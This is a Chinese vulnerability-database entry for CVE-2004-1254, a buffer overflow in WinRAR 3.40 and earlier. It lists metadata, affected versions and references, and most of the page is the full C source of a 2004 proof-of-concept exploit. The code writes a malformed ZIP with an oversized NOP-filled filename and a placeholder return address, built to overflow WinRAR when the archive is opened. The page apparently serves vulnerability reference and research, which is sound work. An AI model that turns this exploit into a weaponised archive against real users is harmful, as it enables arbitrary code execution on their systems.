rarlab WinRAR 缓冲区溢出漏洞

rarlab WinRAR 缓冲区溢出漏洞

漏洞ID 1108368 漏洞类型 缓冲区溢出
发布时间 2004-12-16 更新时间 2005-01-10
图片[1]-rarlab WinRAR 缓冲区溢出漏洞-安全小百科CVE编号 CVE-2004-1254
图片[2]-rarlab WinRAR 缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200501-074
漏洞平台 Windows CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/694
https://www.securityfocus.com/bid/82626
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200501-074
|漏洞详情
WinRAR是软件开发者AlexanderRoshal所研发的一款文件压缩管理器,它支持RAR与ZIP压缩文件,并且能解压缩CAB、ARJ和LZH等文件。WinRAR3.40及之前版本存在整数溢出漏洞。攻击者可利用包含长文件名文件的ZIP档,触发缓冲区溢出,从而执行任意代码。
|漏洞EXP
/*
WinRAR 3.40 Buffer Overflow POC
Thanks to Miguel Tarasco Acuna. He has made a wonderful code for
Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)
which I edited and made this code by.


Coded by Vafa Khoshaein - [email protected]
Vulnerability discovery date : December 10, 2004


Run this code and creat vulnerable_zip.zip then open the file in WinRAR 3.40
there exists a file, Try to delete the file - SECU


*/
#include <stdio.h>
#include <windows.h>


#pragma pack(1)



#define DATOS "[email protected]"


typedef struct {
DWORD Signature;
WORD VersionNeeded;
WORD GeneralPurposeFlag;
WORD CompressionMethod;
WORD ModFileTime;
WORD ModFileDate;
DWORD Crc32;
DWORD CompressedSize;
DWORD UncompressedSize;
WORD FilenameLength;
WORD ExtraFieldLength;
}TOPHEADER;



typedef struct {
DWORD Signature;
WORD MadeVersion;
WORD VersionNeeded;
WORD GeneralPurposeFlag;
WORD CompressionMethod;
WORD ModFileTime;
WORD ModFileDate;
DWORD Crc32;
DWORD CompressedSize;
DWORD UncompressedSize;
WORD FilenameLength;
WORD ExtraFieldLength;
WORD FileCommentLength;
WORD DiskNumberStart;
WORD InternalFileAttributes;
DWORD ExternalFileAttributes;
DWORD RelativeOffsetOfLocalHeader;
}MIDDLEHEADER;


typedef struct {
DWORD Signature;
WORD NumOfThisDisk;
WORD NumDisckStartCentralDirectory;
WORD NumEntriesCentralDirOnThisDisk;
WORD TotalNumEntriesCentralDir;
DWORD SizeCentralDirectory;
DWORD OffsetCentraDirRespectStartDiskNum;
WORD ZipCommentLength;
}BOTTOMHEADER;


int main(int argc,char *argv[]) {


FILE *ZipFile;
TOPHEADER *Cabecera1;
MIDDLEHEADER *Cabecera2;
BOTTOMHEADER *Cabecera3;


DWORD c;
UINT i;
char *filename;
char *url;
printf("nWinRAR 3.40 Buffer Overflow POCn");
printf("nCoded by Vafa Khoshaein ([email protected])n");



if (!(ZipFile=fopen("vulnerable_zip.zip","w+b"))) {
printf("nError in creating vulnerable_zip.zipn");
exit(1);
}


c=30800;
filename=(char*)malloc(sizeof(char)*c);
memset(filename,0,sizeof(filename));



for( i=0;i<30800;i++) filename[i]=0x90;


// Return Address
memcpy(&filename[479],"AAAA",4); /////////// Ret Addr EIP 0x41414141


Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));
Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));
Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));
memset(Cabecera1,0,sizeof(TOPHEADER));
memset(Cabecera2,0,sizeof(MIDDLEHEADER));
memset(Cabecera3,0,sizeof(BOTTOMHEADER));


Cabecera1->Signature=0x00000050; // DWORD
Cabecera1->VersionNeeded=0x000A; // WORD
Cabecera1->GeneralPurposeFlag=0x0002; // WORD
Cabecera1->CompressionMethod=0x0000; // WORD
Cabecera1->ModFileTime=0x1362; // WORD
Cabecera1->ModFileDate=0x3154; // WORD
Cabecera1->Crc32=0x85B36639; // DWORD
Cabecera1->CompressedSize=0x00000015; // DWORD
Cabecera1->UncompressedSize=0x00000015; // DWORD
Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400
Cabecera1->ExtraFieldLength=0x0000; // WORD
Cabecera2->Signature=0x02014B50; // DWORD
Cabecera2->MadeVersion=0x0014; // WORD
Cabecera2->VersionNeeded=0x000A; // WORD
Cabecera2->GeneralPurposeFlag=0x0002; // WORD
Cabecera2->CompressionMethod=0x0000; // WORD
Cabecera2->ModFileTime=0x1362; // WORD
Cabecera2->ModFileDate=0x3154; // WORD
Cabecera2->Crc32=0x85B36639; // DWORD
Cabecera2->CompressedSize=0x00000015; // DWORD
Cabecera2->UncompressedSize=0x00000015; // DWORD
Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
Cabecera2->ExtraFieldLength=0x0000; // WORD
Cabecera2->FileCommentLength=0x0000; // WORD
Cabecera2->DiskNumberStart=0x0000; // WORD
Cabecera2->InternalFileAttributes=0x0001; // WORD
Cabecera2->ExternalFileAttributes=0x00000020; // DWORD
Cabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD
Cabecera3->Signature=0x06054B50; // DWORD
Cabecera3->NumOfThisDisk=0x0000; // WORD
Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD
Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001;
Cabecera3->TotalNumEntriesCentralDir=0x0001;
Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c;
Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c;
Cabecera3->ZipCommentLength=0x0000;


fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);

fwrite(filename, c, 1,ZipFile);
fwrite(DATOS,strlen(DATOS),1,ZipFile);


fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);
fwrite(filename, c, 1,ZipFile);
fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);


fclose(ZipFile);
printf("nvulnerable_zip.zip has been creatednn");
return 1;
}

// milw0rm.com [2004-12-16]
|受影响的产品
RARLAB WinRar 3.41

RARLAB WinRar 3.40

RARLAB WinRar 3.20

RARLAB WinRar 3.11

RARLAB WinRar 3.10 Beta5

RARLAB WinRar 3.10 Beta3

RARLAB WinRar 3.10

|参考资料

来源:XF
名称:winrar-zip-file-bo(18569)
链接:http://xforce.iss.net/xforce/xfdb/18569
来源:MISC
链接:http://www.frsirt.com/exploits/20041217.Winrar.c.php

相关推荐: TextPortal Undocumented Username / Password Weakness

TextPortal Undocumented Username / Password Weakness 漏洞ID 1100273 漏洞类型 Design Error 发布时间 2003-05-23 更新时间 2003-05-23 CVE编号 N/A CNNV…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享